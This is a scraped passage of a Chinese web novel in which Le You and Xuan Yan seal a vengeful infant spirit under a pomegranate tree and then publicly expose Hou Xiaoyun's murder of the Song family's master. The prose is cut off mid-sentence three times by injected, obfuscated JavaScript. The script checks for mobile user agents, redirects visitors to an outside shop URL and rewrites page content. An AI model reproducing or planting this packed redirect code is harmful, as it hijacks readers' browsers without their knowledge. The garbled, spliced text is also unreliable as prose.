乐游稳定身形后借着玄砚的力道蹲直了身子，突然一道女声悠悠传来：“今年的石榴花又开了呢。” 房间的另一侧种着好几棵石榴树，现在正是石榴花开的好时节，晚风卷携着片片火红花瓣飘进屋内。小枝站在窗边，捻起一片花瓣喃喃道：“小姐，今年的石榴花比往年开得都好。” 寻常石榴花的花香淡雅轻柔，可今夜的石榴花却馥郁逼人。一阵风吹过，空气中的花香更加浓郁，乐游不适地揉了揉鼻子，忍不住想打喷嚏。 玄砚眼疾手快一把捂住她的嘴，低声道：“这些石榴树有问题。” 乐游硬生生憋回喷嚏，泪汪汪地看向玄砚，双眼满是疑惑。 “石榴花好香。”她并不知道普通的石榴花是什么味道，还以为所以的石榴花都会散发出这般浓郁的味道。 小枝在窗边站了片刻后，虚掩上窗户，吹灭了屋里的蜡烛。 两人趁着夜色绕到房间的另一侧，这里盛开着火红的石榴花。 “这小小的花怎会发出如此刺鼻的味道。”乐游捏着鼻子哼唧道，孟极的嗅觉及其灵敏，这些花香对于乐游来说无异于一种折磨。 玄砚也不喜这香味，但他只是微微抿唇，放缓呼吸，然后弯腰捧起一捧落花。 他捧着花走到树下，蹲下身用手掌抚着粗壮的树干。这棵石榴树长得极好，它的树干比其他石榴树的树干都要粗，它的花瓣也比其他石榴树的花瓣火红。 “这棵石榴树有什么问题吗？”乐游跟着玄砚走到树下，一脸不解地看他的动作。 玄砚没说话，从怀里掏出一块长条木板插进土里。 “这不是刚刚从女婴岗拿的吗？为何要这么做？”乐游正说着，突然张大嘴巴，指着木板颤声道：“它...它亮了...”只见木板上“爱女宋今安之墓”几个字发出血红的微光。 “这树下埋着宋今安？”乐游似乎明白了什么。 “嗯。”玄砚点点头。 “那恶念之源......” “就在这棵树下面。”玄砚划破掌心，将血滴在木板上，嘴里念出一串符咒：“天地玄宗，万气本根，广修浩劫，证吾神通。”（注1） “封！！！” 刹那间，狂风大作，风刮过石榴树，挟着火红花瓣席卷整个侯府。同时，一声声尖锐的婴儿啼哭声传入乐游耳间，高低不一的哭声似琴弦胡乱剐蹭墙壁般，震地乐游一阵反胃。 玄砚单膝跪地，一掌拍在地上，蓦地侯府地动山摇，石榴树开始剧烈摇晃起来。不过仅仅是片刻后，一切都恢复了平静。除了光秃秃的石榴树，和落了满地的石榴花外，刚才的一切仿佛没有发生过般。更奇怪的是，一向警觉的侯府人，今夜居然没有一个人发现府内的异常。 “恶灵被捉住了吗？”乐游还未从刚刚的啼哭声中缓过来，晃悠悠地跪在地上，抓着玄砚衣袖问。 “还没有。”玄砚抽出插在地上的碑木，扶着乐游起身。 “我只是暂时封住了它，要想真正抓住它，恐怕得化解这女婴的恶念。”恶念不散，恶灵便会缠住恶念之源死死不放。 要化解宋今安的恶念，就要弄清楚宋今安生前究竟经历了什么。隔日，乐游特意起了个大早，准备出府一趟打听打听。 “高人出府可是有要事？”门童殷切问道。 “嗯。”侯府里的人都奇奇怪怪的，乐游不欲与他们多接触，冷淡地点点头。 门童上前一步，有些迟疑地说：“高人外出可要多加小心些，昨天夜里不知发生了什么，今早府中的地上都是红石榴花，远远看着像一滩滩血，怪瘆人的，说不定又是什么脏东西。” “也许是昨夜刮了大风，吹落了石榴花，不必多想。” 门童还要说什么，乐游已经挥挥手扬长而去。 街上依旧空荡，只是偶有几个人挨家挨户敲门问着什么。乐游与那几个人擦肩而过，觉得好奇便多看了他们几眼。 “小姑娘家家的别到处乱跑，快些回家去。”为首的人反过身对乐游说。 乐游乖巧地应下了，反问他们：“哥哥们是官府的人吗？” “问这做什么？”为首的人不善道。 “官府的人是不是很厉害？可以捉坏人？”乐游继续道，听说人间的官府和天道一样，专门惩恶扬善。如果他们真的这么厉害，就可以请他们帮帮侯府的疯女人了。 “那是自然，小妹妹要是遇到坏人了，记得到官府报官。”官差的语气柔和了些。 乐游记住这句话了，不过她也清楚这件事并没有这么简单，不然为什么疯女人之前没有去报官呢？但乐游只是个头脑简单、四肢发达而且久居山间的孟极，她捉摸不透人间的阴谋诡计，她决定再回去和玄砚商量商量。 官差们走了之后，乐游敲开了屠夫李家的门。她此次出府有两个目的，一是为了打听侯府，二是看看昨日送出的两封信有没有送到屠夫张家和卖豆腐的李家。 “刚刚官府的人不是说宽松些时日，姑娘这又是来作甚？”开门的老妇人问。 “老夫人别误会，我不是官府的人，我是侯府的。” “可是侯府的小仙姑？昨天给送过来符纸的小仙姑？”老妇人一下子转变语气，不可置信道。 “是。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376735|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哎呦，老大老大，侯府的小仙姑来了，快些出来。”老妇人连忙招呼乐游进门。 她双手在围裙上擦了擦，然后给乐游端来茶水点心。 “仙姑请慢用，请慢用。”她显得局促又欣喜，她朝里屋催促道：“老大，快些出来呀！别怠慢了仙姑。” “不必......”乐游想劝慰她不必这么客气，话还未说出口，就见里屋跑来一个彪形大汉。 大汉“匡——”地一声跪在地上，嘴里喊着：“小人见过仙姑！”老妇人也跟着跪在地上，跟着大汉喊。 乐游被他们的举动弄得不知所措，呆楞片刻后连忙拉他们起身：“你们...你们这是做什么？” “多谢仙姑赐我仙符，保我孩儿！”大汉站起身，比乐游还高一个脑袋，此时竟泪流满面。 “不不，这是我该做的。”乐游有些不好意思，若非是她放出恶灵，青云城也不会遭遇这些。乐游看着痛哭的大汉，有些愧疚，她问：“昨日送来的符咒让夫人化水喝下了吗？” “喝了喝了。”大汉抹了把眼泪，指了指里屋：“贱内昨日夜里没休息好，现在正在里面小憩，不然她也该出来拜见仙姑才是。”说着又是要跪下。 “不不。”乐游扶起他，连连摆手，脑袋摇的像拨浪鼓一样：“不必不必。我此次前来只是为了看看夫人是否喝下符咒，既然夫人已经照做，那我便先行离开了。” 乐游招架不住他们动不动就要跪下的架势，急着要离开。 出了门，乐游才反应过来她还未向他们打听侯府。 “呼！”乐游懊恼地拍了拍自己的脑瓜子。还是等会儿去卖豆腐的李家看看吧。 李家的老妇人乐游还记得，上次她躲在玄砚怀里，透过衣服听见过她的声音。但老妇人不知道乐游，见乐游一个小姑娘家家，以为她敲错了门，张嘴就准备赶她走。 “诶诶！”乐游扒住门缝，大声道：“我是侯府的人！昨日还派小丫鬟来给你们送了一封信呢。” “什么侯府，什么信？我不知道，你快些回去吧！”老妇人作状又要关门。 难不成那小丫鬟没把信送给李家？乐游扒着门，急了：“没有人给你们家送信吗？那封信很重要的！” “有多重要？”屋内穿出一道女声：“阿娘，让她进来吧。” 乐游进了屋，这才看到堂中坐着一少妇，她的腹部已经微微鼓起。方才就是她在说话。 “那封信里面有一张符咒，化水喝下便可保你腹中胎儿不被恶灵靠近。”乐游正色道：“我这里还有一张符咒，那张丢了就丢了罢，这张你一定要化水服下。”说着从袖中抽出一张符咒，还好她有先见之明，出门时带上了符。 乐游将符纸递给少妇，少妇却迟迟不接。 少妇用怀疑的眼神打量着乐游，乐游也看着她，见她迟迟未有动作，不禁挑了挑眉，解释道：“你别害怕，我不是坏人，我是好人，是侯府侯老爷请来的...仙姑。” “扑哧——”少妇像是听到什么笑话般，嗤笑一声：“侯府还有好人？你这姑娘，看起来人模人样的，怎么替侯府做事？” “......”乐游凝眉看向她，捏着符纸的手指开始泛白。 “你知道些什么？关于侯府的。” 5. 侯府的真相 不论是眼前的妇人还是侯府的疯夫人和小枝，亦或者是侯老爷，他们究竟藏着什么不可告人的秘密，乐游感觉自己被蒙在一层迷雾里。 “侯府到底怎么了？”乐游继续追问道。 怀孕的妇人冷哼一声不语，倒是身后的老妇人十分激动，拉着乐游就要赶她走。 “去去去，我们李家不做亏心事，不怕什么恶灵，拿着你的符滚出去。”老妇人年龄虽大，可手上十分有劲，捏得乐游手腕生疼。 乐游不肯出去，一时间与老妇人僵持不下。 “侯府有个疯了的夫人，你可认识她？”乐游终究不敌老妇人，快要被她推到门口处，乐游扒住门框急声道：“她失去了自己的孩子，被侯府的人锁在柴房！” “你说什么？”怀孕的妇人站起身，疾步冲到乐游面前，抓住她胸前的衣襟，不可思议道：“她怀孕了？” “侯府的人怎敢如此待她？真是天道不公啊！”妇人松开乐游后退几步仰天长叹道，两行泪潸然而下。 乐游推开老妇人向前一步，走到少妇面前，迫切道：“我可以帮她！只要你肯告诉我，侯府还有她身上究竟发生了什么。” “我如何信你？你不过也是侯府的一条走狗，你为何会帮她？”妇人推了一把乐游，恨恨道，眼神愈发尖锐。 “我去侯府是为了救青云城的百姓，我是真心想帮她！”乐游铿锵有力道，她嘴笨，不会证明自己，绞尽脑汁也只能说一句听起来有些冠冕堂皇的话。 但也许是乐游铿锵的样子有几分可信度，妇人一字一顿道：“此话当真？” “真！千真万确！” “那如果我告诉了你真相，你打算怎么帮她？”妇人盯着乐游的双眼，眼中几分狠厉。 这时，一旁的老妇人突然上前：“南南！侯府不是我们能惹得起的。” 少妇没理会她，漆黑的双眼直直盯向乐游。 “我自有我的办法。”乐游也抬眸看向她，眼中的信誓旦旦毫不加掩饰。 “那我姑且相信你一次。” 妇人凑到乐游耳边，低声细语一阵，将事情的真相都告诉了她。 临走时，乐游将符咒塞给妇人，嘱咐道：“记得化水服下。” 妇人犹豫片刻后，道了句：“好。” 乐游朝她挥挥手后准备离开，身后妇人冲她大声道：“拜托你了！” 乐游脚步一顿，没有转身，只是偏过脑袋点了点头。她知道，妇人告诉她侯府的腌臜事，必定是押上了身家性命，她一定会让一切真相大白，绝对不会辜负妇人的期望， 这是她第一次见识到人间的险恶，连带着步子也变得沉重。乐游走到侯府门前，抬头盯着大门上悬挂着的气派牌匾陷入沉思。 牌匾上印着金光灿灿的两个大字——“侯府”。几年前，这里分明还是宋府。 乐游穿过长长的走廊，去了主屋。因为昨夜的石榴花，侯老爷又命玄砚白天在府中做一场法事，此时他们应该都在主屋里。 主屋的大门没有关，乐游直接走了进去。有下人见了她，连忙行礼。 “乐游仙姑来的正好，玄砚高人刚做完法事，老夫准备邀他共进午膳，不如乐游仙姑也与我们同往？”侯老爷也看到了她，客气道。 乐游看了眼玄砚，点点头答应了下来。 三人坐在一张桌子上，各自心怀鬼胎。 “玄砚高人，府中的脏东西什么时候可以除掉？”侯老爷微眯着眼睛看玄砚，语气中几分试探的意味：“昨夜府中的石榴花落了满地，侯府上下现在是人心惶惶啊。莫不是高人嫌老夫给的报酬不够丰厚，不肯为侯府除祟？” “侯老爷误会了，昨夜的石榴花并非邪祟所做，而是小人做的。小人为侯府设阵时一不小心过了力，扰了贵府安宁，还望侯老爷海涵。”玄砚的声音如清风掠耳，此时带着几分歉意，让人忍不住软下语气。 “原来如此，原来如此！”侯老爷收起试探的意味，朝玄砚举起酒杯：“是老夫以小人之心度君子之腹了，老夫自罚一杯。”说着仰头把酒倒进嘴里。 玄砚也举起酒杯一饮而尽。他酒量不佳，面皮又薄，仅一杯酒下肚，他的脸上就浮起了一片红霞。 “侯老爷放心，我与师姐二人必定为侯府鞠躬尽瘁，不日便会除掉邪祟，还侯府安宁。”玄砚放下酒杯，说着客套的话。 “对对对！”乐游附和道，见侯老爷露出满意的笑后，斟酌着开口：“不过侯老爷，我和师弟虽然身在侯府，为侯府办事，但我们来到青云城的初衷本是为了解救青云城的百姓。” “自然！”侯老爷放下筷子，朝玄烨和乐游拱拱手：“两位高人菩萨心肠。” “不过高人的意思是？”侯老爷做出一副不解的样子，实则眼中精光一闪：“侯府为表诚意，可为城中百姓捐款百两！” 玄砚也看向乐游，神色不明。 “有侯老爷这句话，乐游就放心了。乐游确实需要侯老爷的帮助，不过并非是钱财。”乐游朗声说：“侯府富甲一方，侯老爷在青云城也是举足轻重的人，想必官府的人都得对侯老爷礼让三分。” “所以...” “所以能否请侯老爷帮个忙，让官府的人将青云城的百姓都集中到一处。方便我与师弟为城中百姓同做一场法事，也好让我们为他们分发符咒。”乐游很快接过话。 这对侯老爷来说是件有益无害的事，他不仅不费分文，还能笼络民心，且联系官府并不困难。侯老爷松了一口气，“哈哈哈”笑道：“这点小事便交给老夫了，能为青云城的百姓做点什么，老夫荣幸之至。” 一场午膳虚与委蛇下来，乐游饭没吃几口，累的够呛。一进屋她就扑到床上打了几个滚。 玄砚跟在她身后也进了屋。 “为什么让侯老爷这么做？”玄砚双手抱臂靠在墙壁上。 “你过来，我悄悄告诉你！”乐游把头从被子里抬起来，冲玄砚道。 玄砚放下手臂，原本略微有些蹙紧的眉头更紧了几分，不知道这个家伙又想做什么。但他还是走到床边，弯腰凑到乐游唇边。 乐游把自己的计划和上午在妇人那听到的事一字一句重复给玄砚听，末了，扬起下巴有些傲娇道：“我这个主意怎么样？” “还不错，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376736|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是你能想出来的。”玄砚不冷不热道。 “那是！诶？你！”乐游撇撇嘴，不满道：“你究竟在夸我还是在损我？” “不过，你如何让官府和百姓相信你说的话？说不定侯老爷与官府的人沆瀣一气。况且事情已经过去了那么久，我们也没有证据。”玄砚难得地没有继续跟她拌嘴，而是问她正事。 “李家夫人答应那天出面做证人，若是我们能劝服小枝和疯夫人出面就更好了，她们就是最好的证据。而且，这只是我计划的第一步。” “那应该如何说服她们二人，更何况，那疯夫人神智不清，她说的话谁会相信？” “交给我吧！” 回侯府的路上，她已经想好了一切。 夜里，疯夫人的房间还是只有小枝一人伺候。 乐游半夜拜访，嘴上说着抱歉，实际上却一点歉意也没有。她自顾自的坐到窗前的软榻上。 “有些闷，开会窗吧。”没等小枝回答，乐游推开窗户。 小枝摸不准乐游要做什么，借口要哄疯夫人睡觉留乐游一个人坐在软榻上。 小枝一边给疯夫人摇扇，一边偷偷打量乐游，一个不小心与乐游对视上了，连忙垂下眼眸。 “这么美的石榴花，可惜了。”乐游说。 “嗯，是。”小枝嗫嚅道。 “不知明年还会不会开出这么美的石榴花。”乐游继续说。 小枝没说话，乐游也不再出声。直到疯女人熟睡，小枝才走到乐游面前。 “姑娘，夜里虫子多，还是把窗户关上吧。” 乐游点点头，不可置否。 于是小枝上前关上窗，末了看了眼窗外光秃秃的石榴树，怔怔道：“明年的石榴树会长得更好的。” “可明年的石榴树开的不再是今年的石榴花，就像现在眼前的故人不再是以前的那人。”乐游不再与她绕弯子，直言道。 “姑娘在说什么，小枝不明白。”小枝低着头退到一侧。 “只需要一个梦，故人就会恢复从前，你可愿意？” 小枝迟疑地抬起头，看向乐游。却见她漆黑的瞳孔泛出奇异的金色光芒，小枝察觉不对，可又忍不住陷入这深邃的光芒中。 晨光熹微时，一道日光透过窗户缝照到小枝脸上。她缓缓睁开眼睛，用掌心按着自己不太清明的脑袋。 小枝这才发现自己此时正睡在软榻上，而疯夫人还在不远处的床上熟睡着。 小枝走到床边，看着女人恬静的睡容，露出一抹柔和的笑。 昨夜的事开始一幕幕浮现在脑海里，失去意识的最后一刻看到的那双眸子，小枝一辈子都不会忘。 她现在真的相信府中新来的两位高人，与以往坑蒙拐骗的江湖术士们都不一样。若他们真的愿意帮助自家小姐，让她做什么都可以，就算是豁出她这条贱命也在所不辞。 小枝好似下定了某种决心一样，她紧握双拳，坚韧的目光回到女人脸上时变得温柔。她弯腰替女人理了理粘在脸颊上的发丝，动作轻柔而小心，仿佛生怕打扰到女人休息般。 “小姐，小枝会一直陪着你的。” 6. 侯啸云，还命来 侯老爷行动很快，不日便联合官府放出要为青云城除祟的消息。城中百姓无一不欢呼雀跃，谁人不对侯老爷赞不绝口，更有甚者跪地朝拜。 “侯老爷真是个好人呐。”小二感叹道。 做法事的地点安排在城中，青云城的百姓纷纷涌进城内最大的客栈，一时间客栈好不热闹。 小二数钱数到手软，乐得合不拢嘴。 “如何见得？”乐游单支着手肘靠在柜台上，问数钱的小二。 “你这小姑娘有所不知了吧，之前侯老爷就乐善好施，仗义疏财，是我们这边有名的大善人。现在又专门请了高人来为青云城中的百姓做法事，还免费分发辟邪符纸。你看，侯老爷今日甚至包下了本客栈，凡是进来喝茶吃点心的茶客，账全算在侯府。”小二指了指座无虚席的客栈。 正说着，一人唤道：“小二，上壶好酒。” 小二“诶”地应了一声，转头低声哕骂了一句：“死酒鬼，今日可让你逮着便宜占了。”但到底有侯府付账，小二还是拿着酒笑脸相迎。 乐游看着小二忙碌的背影，逐渐有些失神。 不远处，玄砚与侯老爷还有新来的县令同站在高台上。乐游视力极好，遥遥相望可以看到他着一身玄色锦衣迎风而立，风扬起他的长发和衣袂，给他平添几分仙风道骨的韵味。 突然一阵鼓声响起，客栈中吃酒喝茶的百姓都放下杯盏，站起身往外涌。 法事要开始了—— 乐游跟着人流涌到高台下，她在人群中张望，想看看李家夫人在不在人群里。 青云城好久没有这般热闹过了，男女老少都汇聚于一处，每个人都满怀着期望，面带笑容盯着高台上起舞的玄砚。 “敕敕洋洋，日出东方，吾赐灵符，普扫不祥，口吐山脉之火，符飞门摄之光，提怪遍天逢历世，破瘟用岁吃金刚，降伏妖魔死者，化为吉祥......”（注1） 台上的人手持长剑，身形灵动，手中的剑犹如一条舞动的银色灵蛇，在空中划过一道优雅的弧线。伴随着一阵咒语，他剑锋一转刺向了自己腕间，剑起剑落，银蛇染了红。 “呀！”人群中荡起一阵惊讶，紧接着站在前排的人伸出手试图抓住空中滴落的血滴。 有了第一个人，便会有第二个、第三个人，人群开始挤向高台，试图去争夺已经落到地上还未干涸的鲜血。沾到血的人猴急地把沾血的手指送进嘴里吸吮，没抢到血的人把贪婪的目光转向高台之上。 乐游被身旁向前挤的人撞偏了身子，还未站稳，又被另一人踩了脚。 “你们在做什么？”乐游大喊道，可惜没人理会她。 高台上的少年以剑作笔，以血为墨，以高台为纸，身形游动间绘成一道奇异纹样，举手投足间高雅又脱俗。 而高台下人潮涌动，贪婪的人们试图冲上高台，撕碎仙人的羽衣，嚼碎他的肉骨，吸干他的血。 场面眼看着就要失控了，坐在高台上的县令朝身后的都头看了一眼，都头心领神会，领着一众衙役拦在百姓面前。 一舞毕，玄砚负手立于高台之上，他垂眸扫了一眼台下，面上神色晦暗不明。 在衙役的压制下，百姓们逐渐恢复平静。 侯老爷走上高台，高声道：“乡亲们不要着急，玄砚高人已为青云城设下法阵，还为每个人都准备了符纸。相信从今以后，青云城的百姓们都不用再害怕邪祟，可以自由出门了！” “好！好！好！”台下的百姓们振臂高呼，声音一阵赛过一阵：“多谢县令，多谢侯老爷！” 侯老爷满意地看着这场景，等他们喊得差不多了，侯老爷伸手示意他们安静。众人随之静声，等着台上的人继续发话。 这时，一道不合时宜的声音响起。 “这什么鬼玄砚高人真...真这么有能耐？” 众人循声望去，说话的竟是一个醉汉，他不知喝了多少酒，醉醺醺的，说话都大着舌头。 侯老爷脸色微变，随后又恢复正常：“玄砚高人乃是永信法师第十八代传人，他早已找到邪祟所在，乡亲们请尽管放心。” “我还说我是永信法师他爹呢，那我是不是更厉害？哈哈哈哈哈哈！”醉汉仰头猛灌一口酒，随后用衣袖胡乱抹了把嘴：“你们这群愚民怎么不拜拜我。” “莫要胡说！你这该死的酒鬼！”人群中有人愤愤道。 “你才该死！你们都该死！”酒鬼摇摇晃晃走了几步，朝身旁的人啐了一口：“青云城就该死绝了！哈哈哈哈哈......” 醉汉周围的人纷纷后退，形成了一个圈子，留他在中央。 醉汉又喝了口酒，他醉得厉害，走起来步态不稳，身体大幅度地摇晃着。他走了几步后，伸手指着高台上的侯老爷，呵呵痴笑道：“你最该死！” “你！”高台上的侯老爷目眦欲裂，他朝台下的衙役吼道：“此人醉酒后胡言乱语，还不把他拖下去，以免冲撞了神灵。” “是！”两名衙役领命钻进人群里去捉醉汉。 可醉汉早已醉倒趴在地上，他虽不算健壮，可到底是个成年男子，两位衙役一时间竟抬不动他。 “侯啸云，你还我爹娘命来！”突然，醉汉从地上爬起来，高喊一声。 “侯啸云，还我宋府家产来！”醉汉推开衙役，猛地冲向高台，一路状若癫狂，反反复复高喊道：“侯啸云，还命来！侯啸云，还命来！” 侯啸云就是高台上的侯老爷，他吓得大惊失色，连忙指使剩下的衙役拦住醉汉。 剩下的衙役一哄而上，叠罗汉一般把醉汉压在地上，醉汉嘶吼一声后被打晕了。 见醉汉不再作声，侯啸云松了口气，抹了把额间的冷汗。却见人群中又冲出一个女子。 “侯啸云，还我爹娘命来！！！” “侯啸云，还我宋府家产来！” 那女子一鼓作气冲到高台上。 小枝？乐游定睛一看，台上的女子不正是侯府的小枝吗！可按照她们的计划，小枝不应该现在出现，那醉汉莫非也是她安排的。 “县令大人在上，民女有冤要奏！”小枝跪在地上，双手高举陈情诉状。 都头拿了陈情诉状递给县令，县令翻看片刻后，叱骂道：“你可知诬告罪乃是重罪！你诉状中所说可是属实？” “诉状中若有半句谎话，民女不得好死，永世不得入轮回！”小枝举起右手，作发誓状，语气决绝。 “那你可有证据？若没有证据，本官如何信你。” “有！民女原是城西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376737|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋家的一名丫鬟，专门贴身伺候宋家小姐。我家小姐就是最好的证据！”小枝高声道，话音刚落，人群中又走出一名女子。 “你！！！”侯啸云看着这女子，一副见鬼的模样：“你...你不是疯了吗？” “大人！这女子是个疯子，神志不清，她说的话可不能信啊！”侯啸云也跪在地上，高呼道。 “谁说我是疯子？”女子跪在小枝身旁，背挺得直直的：“民女见过县令大人。” “你就是宋府的小姐？”县令皱着眉头，目光在三人间来回扫过。 “是。现在的侯府原是宋府，十年前，为了给阿娘养病，我们全家从南方迁来青云城。初到青云城时，我阿爹在生意场上意外结识了侯啸云。” “八年前，侯啸云下毒害死了我阿爹，自那后，我阿娘郁郁寡欢，不久后也跟着阿爹走了。那时，我尚且年幼，侯啸云借口抚养我，实则暗中私吞了我宋府家产，让宋府变成了现在的侯府。” “你说侯啸云下毒害死了你阿爹，可有证据？”县令捋了一把胡子后，继续说：“况且你当时年岁尚小，你是如何得知这些往事的？莫不是受了旁人蛊惑。”说着意外深长地看了眼小枝。 “就是，昭清啊，这么多年，伯父自认为待你不薄，你爹娘去后，宋府的财产本就所剩无几。这么多年，若非我苦心经营，宋府剩下的几个铺子，也撑不到现在。你真是冤枉伯父了！”侯啸云一副痛心疾首的样子。 “呵！”宋昭清冷喝一声，眸光转冷：“待我不薄？伯父倒真是待我不薄，白日里对我多加看管，夜里还要爬上我的床对我行不轨之事。” “！”台下的人群如沸水般炸开了，窃窃私语声不断传出。 侯啸云没想到，她竟敢在大庭广众之下，把这事抖出来。 “你简直是血口喷人！”侯啸云既害怕又心虚，故作声势地大吼道。 “当初你逼我嫁给你的傻儿子，为你侯府传宗接代，我抵死相逼才作罢。结果第二天夜里，你支开我房里的丫鬟，闯进了我的闺房！我可是为你生过两个孩子呢～”宋昭清的表情有些阴测测的，她站起身逼近侯啸云。 “真是作孽呐，那两个孩子生下来就痴痴傻傻，不会哭也不会笑，和你那傻儿子一摸一样。侯啸云，你们侯家真是罪孽深重，老天都看不下去了。”宋昭清居高临下地看着侯啸云，最后几个字说的咬牙切齿。 “你胡说你胡说！”侯啸云指着宋昭清的手指颤抖着，他手脚发软，瘫倒在地上，冲议论纷纷的人群嘶吼道：“她在污蔑我！” “我如何污蔑你了？那两个痴痴傻傻的孩子刚生下来就被你扔去了女婴岗，现在她们的尸骨还暴晒在烈阳之下！”宋昭清手指悬日，怒道。 “侯啸云，你真是个畜生！” 乐游趁机添了把火，在人群中大声喊了一句。 “畜生！畜生！”其他人也紧跟着喊道，场面一度又陷入了失控。 “肃静！肃静！肃静！”都头连喊三声，人群中仍有人激愤地高呼着侯啸云畜生，无奈之下，衙役们把人群分散开。 高呼声逐渐减弱，县令才开口道：“这件案子案情复杂，牵扯久远，且证据不足，宜改日到县衙再进行审判，今日便先到这儿了，大家都散了吧！” 7. 滴骨认亲1 “且慢！” “又是何人呐！”县令咂了一下嘴，语气不耐道。 “草民李氏有冤要奏！”李氏从远处跑来，她怀着孕，一手托着肚子，一手高举着几张草纸。 “有冤就到县衙去，莫要在这里胡闹！”县令一甩袖，满脸横肉都皱到了一起。 李氏气喘吁吁地走上高台，她已力竭，最后几步走得有些踉跄，最后虚虚地跪在地上。尽管如此，她仍双手高举着草纸，声音洪亮道：“草民怀着孕，走不了远路。恰逢今天是个好日子，黄天厚土之下，县令大人在上，还请为草民做主。” 县令不作声，眼中几分恼怒。一个两个的，早知今日会发生这些糟心事，他便不来青云城了，不过是边陲小城中的几个弱女子，能掀起什么大浪，他不予理会跪在地上的几人。 却听李氏又高喊一声：“请县令大人为草民做主！” “请县令大人做主！”乐游随手抓起身旁人的手臂高举起来，也跟着大喊道：“请县令大人做主！” “诶，你！”那人一脸惊恐地看向乐游，却听身边紧跟着响起一阵阵高呼声：“请县令大人做主！” 青云城并不大，城中的人也都相互熟识，不论是想为邻里人申冤还是想看个热闹，台下的百姓都希望县令现在受理此案。 县令现在真是进退维谷，他若是真的甩袖走人，日后免不了落个庸官名号，毁了他一世清白。可若是不走，拿了李氏的陈情诉状，不知道还会扯出什么案子。 “嗬！”县令坐回官帽椅，握拳锤了下案桌，一咬牙说道：“李氏，你有何冤情？” 见状都头拿了李氏的陈情诉状，递给县令。 县令揉了揉额角，还没看清楚草纸上的字，就听李氏说： “草民要告侯府侯啸云草菅人命，下毒毒害宋家老爷！” “嗬！”县令吓得一激灵：“你要告谁？侯啸云？”合着今天这一场戏是她们串通好的？ “是！就是他！”李氏指着跪在一旁的侯啸云，说道。 “我与你并不熟识，你何以这样污蔑我？”侯啸云怒道：“我曾可怜你是个女人还要在外抛头露面卖豆腐，常常光顾你家生意，你如今居然恩将仇报。” “我知道了，你们一定是串通好了的，你们想合伙来污蔑我！”侯啸云朝县令一叩首，喊道：“草民冤枉，请县令大人查清真相，为草民讨回公道。” “县令大人，草民并非胡言乱语，草民这里有证据！”李氏从怀里掏出一个账本。 都头把账本递给县令，县令翻开后问道：“这不是你家的账本吗？”上面写着丰庆六年几月几日，谁谁家定了多少块豆腐。 “是，请大人将账本翻到丰庆六年八月。” “那一个月，宋府有十八天都在我家定了豆腐。” “所以这跟案件有什么关系？”县令眉头紧皱，不停地用手指敲击着桌面。 “大人可以看到，其他人来我家大多数定的都是黄豆做的豆腐，可宋家却要黑豆做的豆腐。黑豆豆腐价格更高，于是草民便在账本上记得更清楚些。” “来给宋家定豆腐的，就是侯啸云。他自己带了黑豆来，说宋老爷爱吃豆腐，用黑豆做的豆腐可滋补五脏、除去胃中热痹、止腹胀，所以让我用黑豆做豆腐。” “我这么做有什么问题吗？”侯啸云反驳道：“我与宋家老爷是挚友，他爱吃豆腐，我为他定黑豆豆腐，何错之有？” “可据我所知，那一月，宋家老爷患了严重的痈疽，你还给他请了大夫。大夫给他开的药方中有一味药材，叫蓖麻子。蓖麻子本就有毒性，且与黑豆相克！”李氏继续说道：“所以宋老爷喝了药后，不仅没有好转，反而在数月后丧命！” “无稽之谈！”侯老爷缓缓抬了下眉梢，眼神微戾：“大夫确实是我请的，可他做的事与我无关。我又不通药理，怎么会知道蓖麻子与黑豆相克。” “是吗？那我们不如把当初为宋大人治病的大夫也请上来吧？”李氏朝台下看了一眼。 乐游心领神会地点了点头，又拉起身旁人的手臂高举起来：“大夫在此！” “诶！你！”那人看着这个三番五次扯着自己手臂的小姑娘，反应过来自己这是一直都被盯着呢。 “老实点，否则你小金库里的金子就别想要了。”乐游压着声音威胁道，不等那人做出反应便不容置喙地拽着他走上高台，一把把他推倒在地：“还不赶快把当年的事一五一十都交代出来！” 众人的目光都集中到那人身上，那人有些瑟瑟发抖。 “这不是陆神医吗？”人群中不知是谁说了一句。 “台下人是谁？报上身份来。”县令说。 “草民陆继，是青云城的一名大夫。”陆继也跪在地上，朝县令行一礼。 “哦？你就是青云城远近闻名的陆神医？听说你医术了得，可通过把脉分辨腹中胎儿性别。”县令似是有些惊讶，眼前这个人分明看起来不起眼的很，穿着一身灰蒙蒙的布衣，身材瘦弱干瘪，此时脸上带着窝囊的表情，没想到他竟是青云城中人尽皆知的陆神医。 “是是...县令大人谬赞了，小人不过是一个普通的大夫罢了。”陆继又拱拱手。 “方才李氏所说可是属实？”县令回到正题上。 